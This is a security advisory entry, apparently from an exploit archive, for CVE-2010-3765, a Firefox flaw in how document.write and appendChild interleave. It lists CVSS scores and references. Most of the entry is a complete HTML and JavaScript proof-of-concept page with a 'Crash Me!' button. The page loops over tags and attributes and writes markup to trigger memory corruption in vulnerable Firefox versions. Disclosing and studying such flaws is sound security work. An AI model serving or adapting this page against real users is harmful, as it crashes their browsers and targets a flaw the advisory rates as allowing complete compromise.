Firefox Interleaving document.write and appendChild Denial of Service

2010.11.03

Credit: Daniel Veditz

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-3765

CWE: CWE-noinfo

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 
<html><body> 
 <script> 
  function getatts(str){
    var cobj=document.createElement(str);
    cobj.id="testcase";
    document.body.appendChild(cobj);
    var obj=document.getElementById("testcase");
    var atts = new Array(); 
    for(p in obj){
      if(typeof(obj[p])=="string"){
        atts.push(p);
      }
    }   
    document.body.removeChild(cobj);
    return atts;
  }
 
  function crashme() {
    var tags = new Array("audio", "a", "base");
    for (inx = 0; inx < 0x8964; inx++) {
        for (i = 0; i < tags.length; i++) {
            var atts = getatts(tags[i]);
            for (j = 0; j < atts.length; j++) {
                var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
                           ">" + tags[i];
                document.write(html);
            }
        }
    }
  }
</script> 
<button onclick="crashme();">Crash Me!</button> 
</body></html> 

References:

https://bugzilla.redhat.com/show_bug.cgi?id=646997

https://bugzilla.mozilla.org/show_bug.cgi?id=607222

http://www.norman.com/security_center/virus_description_archive/129146/

http://www.norman.com/about_norman/press_center/news_archive/2010/129223/

http://isc.sans.edu/diary.html?storyid=9817

http://blog.mozilla.com/security/2010/102000/26/critical-vulnerability-in-firefox-3-5-and-firefox-3-6/

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Firefox Interleaving document.write and appendChild Denial of Service

References:

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